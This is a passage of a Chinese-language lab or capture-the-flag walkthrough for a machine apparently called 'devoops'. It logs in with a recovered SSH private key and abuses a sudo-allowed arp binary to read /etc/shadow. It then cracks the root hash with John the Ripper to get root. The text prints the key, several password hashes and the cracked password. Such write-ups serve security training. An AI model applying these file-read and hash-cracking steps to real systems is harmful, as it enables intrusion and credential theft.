tcp 0 0 127.0.0.1:22 0.0.0.0:* LISTEN -
tcp 0 0 192.168.31.25:40561 192.168.31.126:1234 ESTABLISHED 2731/sh
tcp 0 0 192.168.31.25:3000 192.168.31.126:56472 ESTABLISHED 2659/node
tcp6 0 0 ::1:3001 :::* LISTEN 2664/node
tcp6 0 0 ::1:3001 ::1:35602 ESTABLISHED 2664/node
tcp6 0 0 ::1:35602 ::1:3001 ESTABLISHED 2659/node转出SSH端口后，就可以用获得的SSH私钥登陆了
└─# echo '------BEGIN OPENSSH PRIVATE KEY-----
-b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
-QyNTUxOQAAACCMB5xEc6A2I69whyZDcTSPGVsz2jivuziHAEXaAlJLrgAAAJgA8k3lAPJN
-5QAAAAtzc2gtZWQyNTUxOQAAACCMB5xEc6A2I69whyZDcTSPGVsz2jivuziHAEXaAlJLrg
-AAAEBX7jUWSgQUQgA8z8yL85Eg1WiSgijSu3C4x8TVF/G3uIwHnERzoDYjr3CHJkNxNI8Z
-WzPaOK+7OIcARdoCUkuuAAAAEGhhbmFAZGV2b29wcy5obXYBAgMEBQ==
------END OPENSSH PRIVATE KEY-----'>id
└─# chmod 600 id
└─# ssh hana@$IP -p 2222 -i id
#登录失败，私钥每行多了个`-`
└─# cat id | sed 's/^.//g'>id2
└─# cat id2
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCMB5xEc6A2I69whyZDcTSPGVsz2jivuziHAEXaAlJLrgAAAJgA8k3lAPJN
5QAAAAtzc2gtZWQyNTUxOQAAACCMB5xEc6A2I69whyZDcTSPGVsz2jivuziHAEXaAlJLrg
AAAEBX7jUWSgQUQgA8z8yL85Eg1WiSgijSu3C4x8TVF/G3uIwHnERzoDYjr3CHJkNxNI8Z
WzPaOK+7OIcARdoCUkuuAAAAEGhhbmFAZGV2b29wcy5obXYBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
└─# chmod 600 id2
└─# ssh hana@$IP -p 2222 -i id2
devoops:~$ id
uid=1001(hana) gid=100(users) groups=100(users),100(users)
拿到user.txt
devoops:~$ id
uid=1001(hana) gid=100(users) groups=100(users),100(users)
devoops:~$ cd
devoops:~$ ls
user.flag
devoops:~$ cat user.flag
获得root
sudo发现 hana 用户能够以 root 身份运行 /sbin/arp
devoops:~$ sudo -l
Matching Defaults entries for hana on devoops:
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for hana:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
User hana may run the following commands on devoops:
(root) NOPASSWD: /sbin/arp[查阅](https://gtfobins.github.io/)` GTFObins，发现 arp` 可以用于任意文件读取
devoops:~$ sudo arp -v -f "/root/root.flag"
arp: cannot open etherfile /root/root.flag !发现没有root.txt和 root.flag
尝试读取 /etc/shadow
devoops:~$ sudo arp -v -f "/etc/shadow"
>> root:$6$FGoCakO3/TPFyfOf$6eojvYb2zPpVHYs2eYkMKETlkkilK/6/pfug1.6soWhv.V5Z7TYNDj9hwMpTK8FlleMOnjdLv6m/e94qzE7XV.:20200:0:::::
.....
runner:$6$sAhdpizXgKayGrqM$lcoysLIY9dsxpwy6cyWHBS/pPbvG4KmlM06SSad0PIWrJcXssseL4EZxzF369gaPZvgyD5JXKHVCXfFUDjciP/:20199:0:99999:7:::
arp: format error on line 20 of etherfile /etc/shadow !
>> hana:$6$snNJGjzsPo.be3r1$V8NneKBkVIZYE6XOFTk1Bq2Trjyf5lO6uQUcWXogI3IiWDEiBDS2yEdck.hx0dIdmIIHGkJX7cfH3zXqKVXcc1:20199:0:99999:7:::
devoops:~$发现了 root 用户的 shadow
root:$6$FGoCakO3/TPFyfOf$6eojvYb2zPpVHYs2eYkMKETlkkilK/6/pfug1.6soWhv.V5Z7TYNDj9hwMpTK8FlleMOnjdLv6m/e94qzE7XV.:20200:0:::::使用 john爆破hash
└─# echo 'root:$6$FGoCakO3/TPFyfOf$6eojvYb2zPpVHYs2eYkMKETlkkilK/6/pfug1.6soWhv.V5Z7TYNDj9hwMpTK8FlleMOnjdLv6m/e94qzE7XV.:20200:0:::::'>shad.txt
┌──(root㉿LAPTOP-FAMILY)-[/tmp]
└─# john shad.txt --wordlist=/usr/share/wordlists/rockyou.txt
#rockyou.txt太久了换个作者喜欢的字典就很快
└─# john shad.txt --wordlist=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 512/512 AVX512BW 8x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 24 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
eris (root)
1g 0:00:00:02 DONE (2025-05-30 00:41) 0.4032g/s 44593p/s 44593c/s 44593C/s likewise..28102005
Use the "--show" option to display all of the cracked passwords reliably
Session completed.找到 root 密码为 eris
拿到root.txt
devoops:~$ su -
Password:#eris
devoops:~# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
devoops:~#
devoops:~# cd
devoops:~# ls
N073.7X7 R007.7x7oOoOoOoOoOoO
devoops:~# cat R007.7x7oOoOoOoOoOoO